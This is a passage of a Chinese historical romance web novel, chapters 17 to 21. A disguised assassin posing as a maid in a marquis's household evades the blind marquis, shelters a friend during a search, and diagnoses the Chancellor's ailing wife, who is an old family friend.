“府兵的兵器该重新锻造了,他们搬去的那些怕是不够,记得回收后再拿些新的让他们先用着。” 语罢,沉重的木门已被打开,顾长宁拄着他那根玄色拐杖,一步步地离去。 直到扬风关上了门,苏木才从昏暗架里走出,她怕耽搁,也怕二人折返,直奔目标而去。 轻搬开放下那实心的木盖,映入眼帘的,确实让苏木眼中放着光。 那是一堆列放整齐的箭,箭羽锃亮干净,肩头也似是新打造的,或许这就是顾长宁所说需要替换的兵器。 苏木轻拿一只,仔细翻看。 箭镞上的花纹并非一齿三爪,而是祥云。 苏木为了谨慎起见,依旧往下翻了翻,但每一只同样是祥云。 也对,每过一段时间,侯府的兵器都会换新打造,何况是九年前的箭镞。思衬着,苏木决定还是在这器库中找找,就算每件废兵器都被拿去重新锻造了,那也一定会保留一件,供皇家查阅。 这样想着,苏木再次往里走去,此时夜色比刚进来更甚,屋中渐渐有些看不太清,苏木想着顾长宁他们刚离去,而器库处于西北角,于主屋相隔甚远,应该不会再有人来,掏出袖中火折子就要点,却在此时,外面再次传来了声音。 一步一沉,一重一轻,还多余出其他的声响。 苏木有些汗颜,这顾长宁为何在此折了回来。心下虽然有些诧异与震惊,苏木却还是将火折子又黯然放回袖中。 只是这次,她没有躲进架子深处,而是转立木门背后。 顾长宁眼瞎,她只要轻声些,顾长宁定然察觉不到。 这样想着,苏木目光如鹰,死死地盯着门口,只待一开门便可悄然出去。 外面的人声渐近,她屏住呼吸,紧贴在兵器架后的阴影里。 木门外传来轻微的金属摩擦声,像是有人在解锁。她的心脏“咚”的一下狠狠撞击胸腔,指尖因紧张而微微发麻。 “咔哒。” 门闩被推开的声音,在空旷的器库里显得格外清晰。 门扇缓慢而沉重地移动,先是一条缝,细碎的光线透进来,落在灰尘与兵器交织出的冷光上。 她咬住下唇,目光紧盯着那道缝隙,屏息静气,等待门被完全推开的一瞬。 可那道缝隙忽然顿住了,门外的人似乎在犹豫,掌心抵在门板上,微微用力,发出“吱呀”一声轻响。 门缝再度被推大,凉风顺着缝隙灌入,拂起她垂落的碎发,带着冬日夜晚冰冷的寒意。 她猛地绷紧后背,像一只被逼到绝境的小兽,瞳孔微微收缩,感到血液在耳边“嗡嗡”作响。 下一息,她看见那只修长苍白的手握住门沿,骨节分明,指腹有薄茧,指尖微曲着推门而入。 苏木抓紧夜行衣下摆,压低脚步,心脏紧缩,趁着门开到一半,猛地向前冲去。 一只带着薄茧的手精准握住了她的手腕。 力道不重,却牢得像铁箍。 “去哪?”男人低沉的嗓音贴着她耳边,气息温热。 隔着黑暗,他看不见她的脸,她却看见他眼中浮起淡淡笑意,薄凉又漫不经心。 “嗯?”他倾身靠近,仿佛听不见她的心跳声,指腹缓缓摩挲她腕侧,笑意凉薄:“听完了,就想走?” 苏木倒是没料到顾长宁不怕自己是贼人敢独自前来,倒也没想着出身,她用力抽了下手,没能挣脱,反倒被他拉得更近。 男人低头,鼻尖几乎擦过她的发,语气轻缓得像极夜雪落,却带着叫人心颤的压迫。 18、第18章 苏木喉咙发紧,尽量不让自己感受到的腕间疼痛传入嗓中,可瞧着眼前之人,苏木倒是想着若是一掌杀了他,倒也是好的。 只是,同命相连,她也的确拿他没有办法。 眼瞧着如此僵持不下,苏木怕扬风再次折回,也担心府中仆人瞧见,于是她收敛目光,后槽牙咬紧后使劲在顾长宁脚下一拧。 没想到脚下会被人攻击,顾长宁吃痛闷哼一声,手中力道松懈了许多。 也是乘此机会,苏木挣扎逃脱,连头也没回,往前闪开半步便拉开了距离,待顾长宁再次回头时,苏木忽然飞至庭院,又无声离去。 西北水榭再次恢复平静,顾长宁眸色黝黑,缓缓蹲下。 他四下触摸,终于摸到了不属于地面湿冷,尚带着一丝余温的东西。 光滑之处却又花纹雕刻,那是一枚玉佩。 余温在掌心摩挲,顾长宁虽瞧不见,但却是垂眸像是瞧着手中之物,他蹙眉朝着所听见人离去的方向望去,只余黑夜。 - 明月高悬,苏木绕过一拨又一拨的府中下人,这才进入这安静的东苑厢房。 掩上房门反锁后,苏木从木柜中取出那叠放整齐的婢女衣物,她习惯性往木屋里面瞧去,却没见到常放那处的东西——她的玉佩。 似乎又想起今日换衣时玉佩忘记搁置,而是放入了夜行衣里衣之间,小心褪下外衣,苏木细指由细细摸索而变为胡乱四搜,可尽管如此,她想要摸到的物件儿,却依旧不见。 她心下慌张,停下了手中动作,仔细回想今日所发生之事,又见过些什么人。 今日午时撞见稽查司办案时那玉佩还被她小心保存,为何此刻却不见了?除非,是落到了器库里面。 越这样怀疑便越是觉得可能,她刚想要再次套上外衣去寻找心爱之物,理智却率先打败了她。 刚刚就已经差点被顾长宁抓住,此刻再去那不是犹如羊入虎口? 思衬着,苏木退回刚刚伸出去的半只脚,又套上了外衣,若是现在去找玉佩,倘若没被顾长宁抓住,但他已知晓器库有他人能进,必然会重兵把守;情况再坏点,就算他的确捡到了那枚玉佩,她若是直接去找他寻要,他也便会知道去往器库的人是她。 如今进退两难,倒不如静观其变。 这玉佩她鲜少拿出,一般也是藏入怀中,只在出任务时放入橱柜之中,顾长宁眼睛又瞧不见,定然是不知道这枚玉佩为她之物。 她只需要找准时机,偷偷潜入顾长宁房间,然后拿回玉佩便可。 理了理思绪,苏木思衬所想确实如此,于是将夜行衣再次放回橱柜之中,用其他衣物掩盖住她。 收拾完一切,苏木解开了一直缠绕着她青丝的木簪,乌丝很长,挽做一团时极其沉重,坠的人头皮生疼。 苏木舒服地伸开双臂活动,却被身后传来的身影吓了一跳。 “苏木姐姐?” 是清丽娇软之声,这声音有些熟悉,但苏木却没有想起来。 苏木滞下正理着青丝的木梳,循声望去见到了门前黑影。 她谨慎往前去,整个人倒是绷地很紧,毕竟现下已不算早,若是贼人,她也可一招将人打晕。 苏木十指扣在木门之上,熟悉的动作让她回想起刚刚,那时,顾长宁是否也如她一般紧张,何况他还是个瞎子,不辩其人。 门透开一丝缝隙,苏木双手如同虎钳,似乎没人能从她手中掰开这道门来,她小心往外看去,看清楚来人后,眸中闪过诧异。 扣住门的双手一下便松开了,苏木眉头拧了又舒展,唇边传来一句:“这几日,你去哪了?” 影儿开了门,进屋后反手扣住,面色有些苍白,却像羞愧一般:“那日侯府突然有人搜查姐姐房间,我听到屋外有动静,于是翻过窗户从后院而逃。” 像是怕苏木误会,她急忙又道:“可是这侯府却实在太绕,不知如何出去,却见府兵四处搜查,情急之下发现一草垛,匆忙躲进去之后竟意外撞见了侯府地窖,于是这两天一直在里面。” “后听到上头有人讨论,说你回了东苑,我这才敢趁着夜色前来寻你。” 影儿面露难色,虽然被苏木示意坐下,但身子却未动半分:“姐姐可是因为我才进了牢狱?” 苏木倒是没想到她会这样想,但见他担惊受怕的样子,苏木有些心软解释,脸上少了些戾气:“不是的,是因其他之事。” “不过,你在地窖这几天,吃食是如何解决的呢?” 苏木瞧着影儿面色有些不好,也的确担心因为自己让她受了牵连。 “地窖应是放置侯府新鲜食材的,里面也有一些熟物,我吃了许多也未被察觉。”她笑着安慰:“面色不好些许是因为久未见太阳,不免有些苍白。” 苏木左瞅瞅右悄悄,确见面色苍白,于是开口:“明日我便去管家那询问,若是可以的话,你明日便可以与我同进出了。” “真的吗?” 影儿眸中闪过一丝光芒。 “当然是真的!”苏木久违地露出笑意,竟然露出些宠溺的语气。 “谢谢姐姐!” 苏木的手被影儿握住,不知为何她却并不反感,还是面带着笑意,顺着冰凉的触感望去,苏木眸色陡然一幽。 “这是什么?” 顺着苏木所望,影儿也看向手中,发现自己手腕青痕已暴露,于是有些难堪般遮住,小心开口:“这是从前在贵人府中做奴时留下的伤。” “因为我手脚总是不利落,惹得贵人生气,于是这便是惩罚,久而久之那贵人看着我来气,就释放了我的奴籍,直接将我撵了出来。” 影儿面色犹豫:“后来的,姐姐也都看到了,我的微薄犒劳被一抢而空,差点被人折辱。” 影儿说这话时有些哽咽,瞧着眼眶有些嫣红,一滴泪已经要落不落。 苏木见此安慰:“没事,日后有我护着你,定不叫你受人欺辱。” 想到奴籍,苏木再问:“那你的良籍是还放在原来之处吗?” “的确是,我还没来得及取走良籍,便被人赶了出来。” 苏木听着眼底升起些怒火:“他们良籍不肯松手,怕是已经想着你若死在外面也不算良民可报案,若是出了事追究起来,你也不过还是奴籍,无人问津。” “此事不能善罢甘休,你之前在何处做事,我替你将良籍讨要回来!” 影儿见此却反握住苏木的手:“姐姐,我很感谢你为我打抱不平,但是我们如今在侯府也受制于人,我不便再让你为我冒险。” 苏木却不屑,她可不是受制于人的主,如今就算有蛊在身,也正是由于有蛊在身,她被顾长宁牵制,顾长宁又何尝不被她所牵制? “无碍,你便是告诉我,我明日便可为你取回。” 但苏木面前人却还是面露难色,苏木瞧着,也许是知道了影儿也怕得罪权贵,见她如此为难,苏木才软下声来:“影儿,我们不要怕权贵,我们每个人都是自由的,都应该过自己想要的生活,帮你拿回奴籍也并不是说是于那府上之人对着干,而是让你拿回属于你的东西,日后你逍遥一方,就算是小商小贩那也无伤大雅,至少不受制于人了不是吗?” 苏木言尽于此,希望眼前人可以有所动容,可影儿却还是摇头:“姐姐,若是以后我有能力能够自己拿到奴籍再告知你如何?” 影儿没有直接拒绝,而是以柔克刚,苏木自然也不好强求,只好应声:“好。” “我这有些药,我给你上上。” 瞧着那日受的伤未得到及时处理而溃烂,苏木拧着眉,突而想起之前顾长宁送的药倒是还有,与是起身往梳妆台走去。 拿完药,苏木入座,为影儿小心上药。 虽偶有轻嘶之声飘入耳中,但伤的确也是不能耽搁,于是苏木还是硬拉着影儿的手,坚持为她上完。 可以看到,影儿手中掌心处有着厚厚的老茧,一看便可想象她在之前那处所受是何等的待遇。 不是为何,瞧着影儿,苏木总是能想起自己的妹妹,珏乐和她有着相同的眼睛,声音也总是轻轻柔柔地跟在她身后唤她姐姐。 想到此处,苏木问:“影儿,你如今年岁几何了?” “十八。”影儿不明所以,但还是答道。 倒是没想到眼前人比自己年岁大,苏木淡笑:“你的面容瞧着,我还以为你比我小许多,竟然还比我年长三岁!” 影儿见此也笑,已然整个人放松了许多:“那我以后要唤你为妹妹了?” 苏木倒是无所谓,笑笑:“随你就好!” 屋中二人气氛很是融洽,苏木也已是许久未见得如此开心,一时忘了神,却没瞧见窗外渐渐身影靠近。 直到脚步声愈来愈近,苏木这才察觉到不对,但此时外面已传来喝戾之声。 “奉侯爷之名捉拿刺客,尔等快快出来,以便搜查!” 苏木听到,外面其余厢房皆有簌簌之声。 19、第19章 外声鼎沸,有府兵呵斥翻查之音,亦有其余婢女怨嗔恼怒之声,沸沸扬扬,好大的阵仗。 待一众脚步声更近许多时,苏木正襟坐于梳妆台前,幽幽侍弄自己的头发。 “苏木姑娘——奉命搜查。” 外头,扬风的声音传来。 苏木抬眉淡扫了一眼门口:“进。” 她虽一字,但声音清透有力。外面之人定是能听到的,这不苏木刚应声,木门被猛推而开。 苏木未起身,只请别过身子,屋内隔着一道纱帘,未至脚下,苏木看得清进来的有扬风,其后还有几名府兵。 帘外只余食桌,一眼就可瞧见别无他物,苏木知道,扬风还想往前进一步。 “扬风大人——” 就在半只黑靴踏入帘里,扬风正欲掀纱之时,苏木才开了口,这一声是制止之意,语气听得出不悦。 她瞧见扬风的长靴驻足,她冷眼瞧着隔纱之脸,冷声道:“我刚沐浴外,实在不便让你进屋,何况,这屋狭小,有没有窝藏刺客,大人看不出来吗?” “既是搜查,自然是要确保每一处无疑。” “哦?”苏木拉长尾音,随即冷声:“若要搜查进来一人便是,扬风大人觉得如何。” 苏木这样说,也的确是不喜欢瞧着一堆人涌入自身私密之所,但最主要的是,她知道自己与他家侯爷有合作,他也不便直言得罪。 这话也的确奏效,扬风未言,倒是犹豫了那么几息,但片刻,他便应声答应了。 苏木起身,正迎着扬风进来,她顺着扬风视角一一扫过梳妆台、床榻、屏风以及离他稍远的木色衣橱。 瞧着扬风眼睛在衣橱停留许久,苏木打岔:“扬风大人可是要去屏风后查看?” 一句话让扬风收回了视线,苏木挑眉:“若你怀疑,大可瞧去。” 屋内,一架简单的的屏风伫立里旁,简单的几块木板拼接,倒是把后面遮得严严实实。 扬风朝那走去,苏木没跟着他,她就伫立在二人相隔不远处,倒是把衣橱相隔开来。 少顷,扬风铁青得脸转过神来,耳根还有些泛红,支吾抬眼时,不提所看之物:“衣橱待搜查。” “衣橱?” 苏木反问:“我这衣橱中尽是贴身衣物,扬风大人定要查探吗?” 她知自己屏风后凌乱堆积了些衣物,一地狼狈,还有几件贴身物件儿挂在显眼之处,知扬风瞧着尴尬,故意问道。 “打开。” 扬风未犹豫,苏木倒也不扭捏,上前打开了自己衣橱的第一层,木柜打开时,所见皆是普通里衣,扬风示意下面那一层,苏木却不为所动。 “大人不觉有些唐突了吗,这么小的衣橱能装的下刺客?”苏木顿了顿,继而冷声:“还是大人觉得我苏木像是刺客?” 最后二字,苏木咬字语重,似是在警告一般。 这话的确有些奏效,扬风瞧着脸色有些犹豫,苏木估摸着也是知他犹豫再瞧见屏风后的衣物,于是脸上露出些为难之色,但瞧他转而舒眉,斩钉截铁:“打开。” 苏木瞧着眼前人是执拗的性子,也懒得再和声细语地说,语气不悦:“执意如此?” 她声音嘹亮,纱后众人不明屋中境况,听后窃窃私语,引得扬风有些难堪,他蹙眉瞪着苏木,像是要制止一般。 苏木却笑上前,她一只手搭在扬风下颌,微点其耳尖,笑得妩媚。却在下一瞬,一掌捏住扬风的颈脖,面带狠辣,手中力道自然也是不小。 扬风惊地往后连连退了几步,怒意更甚,也是一瞬便拔出腰间佩剑,架于苏木肩头,苏木垂眸瞧着肩头离她尚远的刀锋蔑笑。 “扬风大人,你知道你伤不了我,又何须在这多做执着,我苏木就算是你们侯府的婢,那也是有尊严的,如果你今日执意要瞧我不愿给你瞧之物,那你可以试试,是我的手快,还是你的刀快。” 她这话说的厉,有着不容置疑之决绝,手中力道未有半分松懈,苏木知道,不管是在上次牢狱还是在此屋之中,扬风都不敢伤她半分。 他的蛊,有时也能为她提供些便利。 二人僵持不下,扬风也不肯放下手中之剑,而是死死地瞪着眼前人,像是下一秒就要斩杀苏木一般,可是苏木知道,他就算表现得再凶狠,他也不敢让剑有半分偏颇。 纱外众人也知屋内气氛凝重,但无人敢上前搭话,只小心瞧着里面的状况。 恰时,外面传来一阵阵沉闷的敲击之声,众人一听便知何人,皆退避而让路。 “扬风,退下。” 顾长宁立于纱外,手杖比他先一步入内,他感受到脸上一阵覆面痒意,这才单手掀开那纱帘。 扬风虽不愿,但还是放下了那把剑,退至顾长宁身后。 顾长宁所着玄色绸缎衣袍,发髻高立,整个人瞧着肃穆而威严。 苏木却不怕,只淡然瞧着眼前这人,顺带扫视了他的腰带。 没有那枚玉佩。 顾长宁抬臂,露出那指节微凸,手背泛起青丝而瞧着遒劲有力之手。不做多言,其余人皆退至屋外。 苏木不知眼前人要耍何花招,只静静地瞧着他。 “你是刺客?” 顾长宁开口,声音冷寂而幽转至苏木耳中。 这一问,倒叫苏木一时垭口,她知眼前人故意一问,她有些不悦。 但就算是这明显的恼意,却不能落入面前人的眼中。 像一拳打在棉花上。 顾长宁双手握住手杖,直直站立于苏木跟前,挺拔而冷冽。 “你自己都回答不上。”顾长宁蔑笑,似乎是像他意料之中一般,他说:“你曾说要做我的利刃,可我的利刃从不剑指侯府。” “若你不听话,你这命,可就不好说了。” 屋内昏黄烛火映照顾长宁脸上,却只能在他眼中瞧见阴鸷与深不可测,未见半分和煦暖意,犹如他此刻所说之话。 这话威胁意味十足,但苏木自然也不是能被人轻易拿捏之人,她知他意,可她恰好前几日出府时曾去百事通打听过,这子蛊种入体内并非一朝一夕便可解除,需得中蛊之人前往苗疆寻得巫师,才可解除。 所以在苏木眼中,此刻却觉得这话无比的好笑,也的确如此,她冷笑:“对于小侯爷而言,莫非我是傻子?” “这区区蛊毒,我并非未曾了解过,你若是想要以此威胁我,怕是不行的。” 苏木笑得邪魅:“何况,这毒连着你我,你可舍得你的命?” 顾长宁挑眉不屑:“是吗?” “我倒是小瞧你了。” “只是……” 顾长宁拉长尾音,压迫十足:“你觉得我偌大的侯府养不了一位巫师?” 他语气平平,苏木却是意料之外,虽有些失了底气,可她依旧不肯妥协,继而冷笑:“那又如何!难不成你现在便要解蛊杀我不成!” 苏木此话带气,语罢静默,屋中无声。 窗外寒冷再次凛凛,呼啸而过似一阵阵狼吠,对照起屋内的诡异气氛。 顾长宁气如冰窖,面容含冰,他微微侧头,嘴角带着不常有的弧度。 不回答,已经说明了一切。苏木心中一颤,知自己在此对峙中只得往后退。她知道,她与顾长宁并无情谊,她不过是他手中之棋、鞘中之刃,倘若有用便可按照约定放她离开,若是不如他意,他也可顷刻摧毁她。 压着苏木的从来不是顾长宁,而是他手中权势。 她不动声色,往后退的半步都像是要拧着顾长宁骨髓一般,就算是假的,那也要将他踩成粉末。 顾长宁再次抬手,扬风便进,他直奔衣橱,完全忽视苏木的眼神。 木柜打开时正如苏木所说,衣橱中尽数为苏木贴身之物,扬风再次面露尴尬,未立马开口。 顾长宁虽瞧不见,但却似了然了一般,苏木瞧着他,想瞧瞧他还有何话说,却没来由的撞上了他的双眸。 那是第一次苏木与他对视,她一瞬恍然,似乎忘记了他是眼瞎之人,而眼前人也未发觉自己与人撞上了眸光,眼睛一瞬也不曾移动。 “若有打扰,见谅。” 语罢,顾长宁淡然转过身去,手杖先他一步探路,扬风转至他身后跟随,未见搀扶。 苏木见他带着一丝歉意,虽然心中气意未散,但眼下她也必须要寻着本属于自己的东西。 她上前去,跟在顾长宁身后:“小侯爷轻飘飘的一句话便可随意淡了今日之事?” 在鄢国,女子贴身之物若是叫异性瞧见便称是毁人清白,苏木虽从不认同这一点,但眼下却可借此发挥。 门前人闻语驻足,头顶悬月,大氅绒毛被照的生出一层银霜。狂风吹的他衣诀乱飞,冷风从身旁两侧灌入时,苏木鬓发肆意飞舞在脸侧。 “你想如何?” 他声音冷淡,听不出一丝情绪。 如此淡然,一往都是顾长宁的风格。 苏木拂去语中怒气,安抚着自身情绪,缓缓笑道:“明日午时,我在阆华街等你,如何?” 她未说自己想做何事,未说想要何补偿,只这一句。 门外之人闻言眉头一动,许是月色染的面色柔和许多,他未多犹豫,沉沉应声。 20、第20章 在院落混乱之时,苏木掷地一石,引得房前府兵循声而去。 趁此,苏木送影儿遁窗而去,躲入已搜查过的草垛之中。她那夜行衣也让她塞入房梁间隙之中。 故作阻拦之态,不过是早就听到远处那辨识清晰的手杖声。 以此,她明日便可耽搁顾长宁,好去他那常有人在的主屋寻物。 若今日在器库前未被顾长宁发现,她倒也不用让影儿辛苦藏匿,只是眼下自身去器库之事不能暴露,影儿又为府中陌生之人,恰此之际出现,若是被当作了刺客,二人皆得落入地牢。 身处侯府,她需得步步小心,不能屡屡落入侯府地牢之中,那她想办之事,何时才能办妥。 苏木垂眸思量,瞧着步声远去,这才缓缓关上了门。 不管是今夜还是明日,皆不是影儿能够出现的好时机,她需得明日出府为她暂找一去处。 影儿再次从窗而入,苏木将其安置于床上歇息,自己则铺一毯躺于地下,身上虽披单薄碧袄,她倒也不觉冷。 屋外各处烛火渐黯,苏木起身挑了烛火灯芯,这才稳稳睡下。 - 亭外所见,几颗淡星还在半空闪烁,檐角远处已泛起些鱼白。 次日一早,苏木告诫影儿藏好自身后便先一步出门。 她昨日所挑地点,那是离侯府相隔甚远,甚至可以说是南辕北辙,若是坐轿,恐怕也要一个时辰。 她需得在午时之前,在外寻好为影儿安置之处,再趁顾长宁出府时潜入他屋。 心下有了计划,她也未着侯府婢衣,而是穿上了前两日在街上所买素衣,再次带上了斗笠。 今日万里无云,倒是暖和,苏木走于大街之上,四处寻着些价钱稍适,又算完全之去处。 可身上银钱不多,高雅之间付不上,陋室又怕遇歹人,她既然答应影儿要护他周全,自然不可随意寻些不靠谱之地。 在街上四下兜转,却还是未找到合适之处。 丧气之时,旁边医馆之声传入苏木之耳,她循声望去,瞧见一模样极好的姑娘正在医馆门口拉拽着一长须大夫。 女子语间满是恳求,一双手不肯放开那大夫的衣袖:“宋大夫,我们夫人平时最信任的大夫便是您呢,如今她害了病久久未见好,我们只得再次来寻你了。” “姑娘,不是我不医治你们夫人啊,只是你们夫人所得之病确实不得好,我瞧着古怪,你还是另请高明吧。” 那大夫拂袖便要离去,那姑娘所说的夫人应是病急投医,恐怕眼下瞧着不行了才会如此哀求,但见那大夫拒绝,那姑娘有了些哭腔:“大夫,我们夫人说,若是能医治好,便是能给你五锭大银。” 五锭大银,那可是二十五两元宝,可见其家中阔绰,莫说是大夫听着犹豫了几刹,苏木也是眼中冒出些光来。 那大夫犹豫片刻,却还是叹息:“姑娘,不是我不帮你,只是你夫人这病少说我也去了足足十次了,可未见好,你给我再多银子那也无用呀。” 说罢,那大夫瞧着要扣上房门了,但那姑娘确是不肯松手,竟然将手横插在门缝之间,医者仁心,那大夫也不愿让人手痛,二人这样僵持着引得路人纷纷侧目。 “你看,那姑娘又来了。” “那是宰相府中的丫头吧?” “确实如此,听说宰相夫人脸上得了密密麻麻的青紫色黑癍,还伴着人四肢抽搐,时而陷入昏迷,也不知为何,久久治了未见得好。” “是啊,宰相夫人平地里待人温和,也不知怎得了这总病。” 俩妇人结臂而过议论,倒是让苏木听到许多有用的信息。 宰相夫人林氏,苏木记得她,她是苏木母亲闺中挚友,也可算是在苏木少时待她极好的一位夫人,每每去宰相府中时,林氏都会做许多糕点给她,每次抚摸苏木小小脑袋时也常易感叹若是自己有个女儿便好了。 也正是因为此,林氏待自家儿子——谢辞桉很是不亲,小的时候,二人还为此打过一架。 许久未见,那样温柔的人,如今却也是易的病之人了。 这样听着,这病倒像是之前在蔺州,跟着潇声在静医馆中所医治病人时所见的寒痹癍。 但这病是可治愈的,为何治不了? 苏木心下生疑,犹豫着要不要前去那许久未见的宰相夫人,可见眼前姑娘如此执着,怕是林氏此刻这病不容小觑,再加上那诊金确实不菲,她还是上前去,从中隔断二人,直看向看着她疑惑的姑娘。 苏木声音轻缓询问:“你刚所说之话可还作数?” 那姑娘仍未放开扒拉着大夫的手,见二人中间横插一人一时脸上不明所以,犹犹豫豫开口:“哪……哪句话?” 苏木生笑,缓缓而言,眼里放着光:“五锭大银。” 倒像是怕眼前人假装说不记得,苏木还跟了一句:“我刚在路边所听,你夫人这病我可随你去瞧瞧。” 她语罢,观察着眼前人的表情,却见哪姑娘拧眉上下打量,带着怀疑:“姑娘脸都不曾露,况宋大夫都没招,江湖术士我们可是不信的。” 瞧着眼前这姑娘倒是谨慎,苏木耐心:“我一女子手无缚鸡之力,骗你有何好处。” 苏木摊开双手,装作窘迫样:“我乃蔺州静医馆门下的医师,有事来这上京城,路上遭了贼人夺人钱财,现下实在无路可去,如今恰好碰上你家夫人生疾,恰好我又会些医术,岂不两全其美?” 苏木一口气说了许多,尽量让自己多些耐心,况且就算不为银钱,不为林氏,她在路上遇到此等事,也是会想要为人解忧的。 那时在蔺州,所见孤残,无不是她带着斗笠在静医馆为其一一诊断,因此在蔺州她倒也有个‘妙手观音’的名号。就像祝余在蔺州时常说:“姐姐你呀,不知是杀手还是妙手,既能一夜枯木,也能一手回春。” 许是瞧见苏木穿着素衣倒也不像是什么江洋大盗,眼前姑娘别过头也瞧着里面大夫并无开门之意,她只好悻悻撒手,抱着试试的态度:“那你跟我来,若发现你有不轨之图谋,宰相定不会轻饶你的。” 那姑娘吓唬之语在苏木听来倒像是孩童乱语,她倒是不怕宰相,也不怕宰相夫人,只是许久未见故人,她倒有些近乡情怯,未多言,跟在那姑娘身后。 途中她有想要打听打听如今宰相府是何近况,谢辞桉那胖乎小孩是否如今又是否成了婚,变成了英俊潇洒的少年郎。 可那姑娘倒是谨慎,一路上所答也非紧要,见问不出个什么,苏木倒不再多问,一路紧随其后。 少时所走之路,她一步也不会踏错,只是再次至于宰相府门,苏木确有恍惚,已过八载,朱门石虎还如从前一般,苏木似乎还能瞧见自己与谢辞桉一边坐上一只的滑稽模样。 那姑娘上前未言,不知何时手中多出了一证明身份之物的令牌,守门小吏一见便迅速为其将门推开。 苏木跟其身后,绕过儿时曾游玩过的正厅、回廊、花园…… 终于,停在了主屋处。 “夫人,那宋大夫今日有事耽搁,这位是蔺州医师,她可为你诊治。” 跟着那婢女目光,苏木瞧见了躺在塌上之人。 林氏勉强睁眼,睫毛随着眼皮扑闪,似乎下一刻就又要沉沉睡去,未多露笑颜,语气却依旧温柔:“麻烦姑娘了。” 听着微弱的语气,苏木急步上前来,瞧着面前这个和记忆中雍容之态不一样不女人,苏木多年来第一次鼻尖泛酸,她喉头哽咽,不敢多言,只怕泪水瞧瞧滑落,于是强忍着酸楚应了一个“嗯。” 苏木紧握住她手,却怕被发现端倪不敢再多摩挲,于是松开双手,铺平林氏手心,几指搭在手腕脉搏处。 她闭眼感受着指尖传来的脉象,内里阳虚,气血痹阻,气血凝阻于血脉,瞧着的确是寒痹癍的症状。 心下一安,她睁眼又掀开塌上之人手腕里衣,瞧见里面黑紫色的癍,再瞧脸上,虽不像四肢那般大,但多少也是有些浮肿。 苏木转身闻讯屋中婢女:“你们夫人可有四肢酸痛,时常嗜睡不起的症状?” 见此问,一开始还半信半疑的姑娘此刻犹如见到活神仙一般不住点头:“确是这样,宋大夫说这是阴疽,姑娘你看有办法医治我们夫人吗?” “阴疽?”苏木拧眉反问。 这阴疽症状的确于寒痹癍相似,但不同于寒痹癍的是,阴疽会使人头脑昏沉,神志不清,但林氏瞧着神志未有问题,只怕是之前那位宋大夫误诊了,苏木摇摇头。 “非也,此状乃是寒痹癍,并非阴疽,不是绝症,我给你们写个方子,你们照例去取药便是。” 说罢,苏木见那姑娘去取了纸墨,又想起之前那方子,于是又对另一人说:“你去将前几次宋大夫开的方子拿在我瞧瞧,以免药性相冲。” 见人都已离开,苏木这才再次看向塌上之人,林氏生生勾出一抹笑:“谢……谢谢姑娘。” 苏木摇头,不愿再听谢字,轻手握住眼前人的手安慰:“此并非什么绝症,夫人不必忧怀,定能为你治好的。” 她耐心的语气在林氏听来犹如灵丹妙药,眼神迷离间竟睡了过去。 苏木坐于塌前瞧着眼前人,她虽劝人莫伤怀,可她心下却有些难过,一只手搭在林氏鬓前,抚摸那一缕缕白发,犹如幼时她温柔抚摸她一般。 未曾发觉门前有人,苏木被突如其来的一声吓得心下一颤。 “你是何人?” 21、第21章 声音清冽俊朗,犹如池溪敲落卵石一般,苏木虽被吓了一跳,但下一刻又觉此声异常熟悉。 回过身去,瞧见的也的确是意想不到之人。 稽查司指挥使——那日在街头所遇之人。 如今,没了玄色大氅覆盖,可见其月白勾丝锦衣在身,挺拔之姿,风流倜傥。他蹙着眉却不掩面目清俊。 苏木正疑惑眼前人是谁,刚要回话,门前已来脚步声,未见其人先闻其声:“公子,这是为夫人请来的医师,蔺州人士。” 进门后,那姑娘递过纸笔:“姑娘,这位是谢公子,乃是我们夫人之子。” 谢公子? 苏木仔细听着,欲接过纸笔的手一时竟滞在半空。 谢公子?稽查司指挥使居然是谢辞桉? 她脑袋一时嗡嗡乱响,不知心中是何情绪,她有想过今日或许能撞上他,却没想到如此之快,且处同一房间。 原来这些年来记挂之人早已相遇,只是不知对方,也未得相认。 “姑娘,姑娘?” 听到耳边有人唤她,苏木这才从紊乱思绪中抽回。 她起身,纸笔还握手中便拱手作揖:“原来是谢公子,久仰大名。” 苏木瞧见谢辞桉上前来,同样回礼:“多谢姑娘为母瞧病。” “无碍。” 苏木应下,转身朝屋中几案而去,案上有砚,苏木坐下后铺平宣纸,将镇尺压于下方,另一位婢女将早前那方子也一并放置在案前。 谢辞桉已坐塌前看望,苏木专心瞧着方上之字,却像是不如脑一般,余光瞥见那少时熟知二人就在眼前,如今倒不能相认。 案前一缕日光自窗中洒落纸前,苏木猛然回神,此刻不是思怀伤感之时,她要做之时还未做。 如此,她瞧着方子也认真了许多。 一行行往下顺着,瞧见皆是一些入‘黄连、独角连’等苦寒攻毒之药,这下她可确信,这方子的确也出了问题。 苏木提笔,蘸墨后细细写下心中熟记药方。 落笔,苏木摆放好笔,起身将方子递给了驻于跟前的婢女,仔细叮嘱:“一日三次,切不可忘记,一至两日便可手脚回暖,三至四日癍缘便会慢慢消散,七日后嗜睡症状也可减轻。” 她叮嘱的仔细,两名婢女也听的仔细,苏木只停语了刹那,那两名婢女便皆应声后下去煎药了,只余苏木伫于屋内,一时有些无措。 虽有些不好意思,但苏木也算拿钱办事,她温声提醒着正背对着他而坐之人:“谢公子,不知诊金如何给我呢?” 她这一出声,谢辞桉便立马转过了身,他起身拱手:“姑娘可是要走了?我这身上并未带银两,右边直走乃管家所在,你找她便是。” 苏木再次回礼,语气委婉:“今日在街上,贵妇婢女应我前来诊治,诊金乃五锭大银,不知还作数吗?” 苏木在说‘五锭大银’时声音都小了许多,没了答应她此事之人在旁,此刻在说出如此夸张的诊金后,她竟有些不好意思。 主要,她也怕那管家以为她讹钱,所以还是问仔细些好。 说完这话,苏木隔着白纱斗笠,倒是瞧见谢辞桉俊朗的脸上多了两分讶异,唇线微张又再次闭上,最后才开口:“姑娘为母诊治,自然辛苦,答应你的诊金自然是一分也不会少。” 他声音朗朗,说的也是让人信服,谢辞桉抬眉再次瞧着苏木,苏木被她盯的倒有些发慌,受不得这样的气氛,苏木正要转身离去,手腕却被一道强有力的劲道给握住。 顺势转身,苏木瞧着他。 谢辞桉脸上挂着柔意:“姑娘可否告知我姓名,倘若家母再有何症状,也方便寻你。” 他脸上虽带着笑,但苏木从这句话中听得出,他是谨慎,倒怕我来路不正,伤着林氏。 笠下所遮容颜莞尔,苏木鲜少没有因为受人质疑而恼怒,此刻她倒觉得欣慰,原来那个需要她保护的虎头幼童早已长大,如今行事也颇有大人之姿。 苏木温声,她知自己不能说出现下姓名,倒是想起早已不被人记得的姓名,不知为何,她想抱着试探的心理,瞧瞧眼前人是否还能记得幼时玩伴,那个叫沈珏明的姑娘。 